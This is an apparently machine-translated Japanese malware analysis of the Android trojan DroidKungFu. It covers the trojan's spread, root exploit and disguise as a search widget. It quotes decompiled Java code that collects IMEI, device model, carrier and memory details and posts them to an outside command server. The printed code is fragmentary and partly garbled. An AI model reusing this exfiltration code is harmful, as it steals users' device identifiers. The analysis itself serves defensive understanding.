AndroidでのDroidKungFuマルウェア解析

ニュースサマリー:


今年の春に、AndroidMarketから21個のアプリケーションが削除され、その下にDroidDreamLightマルウェアが隠されました 。 インストール後、キャッチされたアプリケーションは、かなりの量のユーザー情報をGoogle電話に保存して送信しました。

そのため、今年の6月、ノースカロライナ大学の従業員は、 DroidKungFuマルウェアの新しいバージョンが発見されたことを報告しました。





このプログラムはDroidDreamLightに似ていますが 、その存在を隠す他の方法を使用します。これにより、セキュリティシステムをバイパスできます。 このプログラムは、 ADBと略されるAndroid Debug Bridgeの脆弱性を利用します。 この脆弱性により、デバイスへのルートアクセスが可能になります。それ自体はもはやおもちゃではありません...

確かに、公式のAndroidMarketでは、悪意のあるアプリケーションは拡散せず、中国の市場にしか送信されませんでしたが、これは簡単ではありません。

また、Android 2.3以前のデバイスは感染に対して脆弱であることが重要です。バージョン2.3で脆弱性が修正され、 DroidKungFuが「栄光の中で」自らを証明できるようになったためです。

感染したアプリケーションをインストールすると、DroidKungFuがアクティブになり、プロセスが起動します。さらに、Android 2.2以前でルート権限を取得します。 Android 2.3では、成功しませんが、それでもデバイスに関する情報を収集できます。



デブリーフィング:


彼のブログのある良い人が、興味深いDroidKungFuコードの一部を作成しました。今、私はあなたに何が起こっているのかを理解しようとします。

分析のために、 md5 39D140511C18EBF7384A36113D48463D hashを使用して、 このマルウェアリポジトリからサンプルを取得しました。

.APKからdex(Dalvik Executable Format)を抽出した後、 dex2jarなどのjarアーカイブを取得するために良いものが使用されました。 jarアーカイブを逆コンパイルすると、きれいなコードが簡単に得られます。 コードの興味深い点を考慮してください。



パートIまたは「どこかですでに見たところ...」


SearchServiceクラスのコードを見ると、 DoSearchReportメソッドが見つかります...はい、はい、それはすべての人のお気に入りのGoogleの検索ウィジェットで使用されているメソッドです。 そして、これは以下のコードで見ることができます:

Private void doSearchReport()

{

updateInfo();

ArrayList localArrayList = new ArrayList();

String str1 = this.nImei;

BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair(" imei ", str1);

Boolean bool1 = localArrayList.add(LocalBasicNameValuePair1);

If (this.n0sType != null)

{

String str2 = this.n0sType;

If (!””.equals(str2))



}



}







それは何を与えますか? どうやら、これにより、インストールされた悪意のあるパッケージを削除し、検索ウィジェットとして偽装した後でも、プログラムは「合法的にクリーン」のまま、または大まかに言って「Google電話でライブ」を維持できます。



パートIIまたは「出航する時間です!」


DoSearchReportメソッドの次のコードスニペットでは、最悪の事態が発生します。感染したデバイスから収集されたすべてのデータがGoogleの携帯電話から流れ出て 、どこにあるかがわかります。

While (true)

{

HttpPost localHttpPost = new HttpPost(“http://search.gongfu-android.com:8511/search/sayhi.php”);

try

UrlEncodedFormEntity localUrlEncodedFormEntity = new UrlEncodedFormEntity(localArrayList, “UTF-8”);

localHttpPost.setEntity(localUrlEncodedFormEntity);

int I = new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode();

return;

BasicNameValuePair localBasicNameValuePair12 = new BasicNameValuePair(“root”, “0”);

Boolean bool12 = localArrayList.add(localBasicNameValuePair12);

}

Catch (Exception localException)

{

}







ブログでは、Google電話に関するデータが送信されたURLについても詳しく説明しています。

パートIIIまたは「何が浮かびましたか?」




そして、次のコードの抜粋から、それが浮かんでいることが明らかです。

BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair(" imei ", str1);



BasicNameValuePair localBasicNameValuePair2 = new BasicNameValuePair(" ostype ", str3);



BasicNameValuePair localBasicNameValuePair3 = new BasicNameValuePair(" osaapi ", str5);



BasicNameValuePair localBasicNameValuePair4 = new BasicNameValuePair(" mobile ", str7);



BasicNameValuePair localBasicNameValuePair5 = new BasicNameValuePair(" mobilemodel ", str9);



BasicNameValuePair localBasicNameValuePair6 = new BasicNameValuePair(" netoperator ", str11);



BasicNameValuePair localBasicNameValuePair7 = new BasicNameValuePair(" nettype ", str13);



BasicNameValuePair localBasicNameValuePair8 = new BasicNameValuePair(" managerid ", str15);



BasicNameValuePair localBasicNameValuePair9 = new BasicNameValuePair(" sdmemory ", str17);



BasicNameValuePair localBasicNameValuePair10 = new BasicNameValuePair(" aliamemory ", str19);









ご覧のとおり、デバイスに関するかなりの量の情報が流出しています...



パートIVまたは「未定」


おそらく、このトロイの木馬のもう1つの新奇性は、エクスプロイトのAES暗号化の使用です。 HongTouTouGeinimiのような以前のDroidKungFu兄弟は、コードにDES暗号化を使用していました。

現時点では、インターネット上でいくつかのバージョンのDroidKungFuを見つけることができますが、少なくとも3つの実装オプションが見つかりました。



All Articles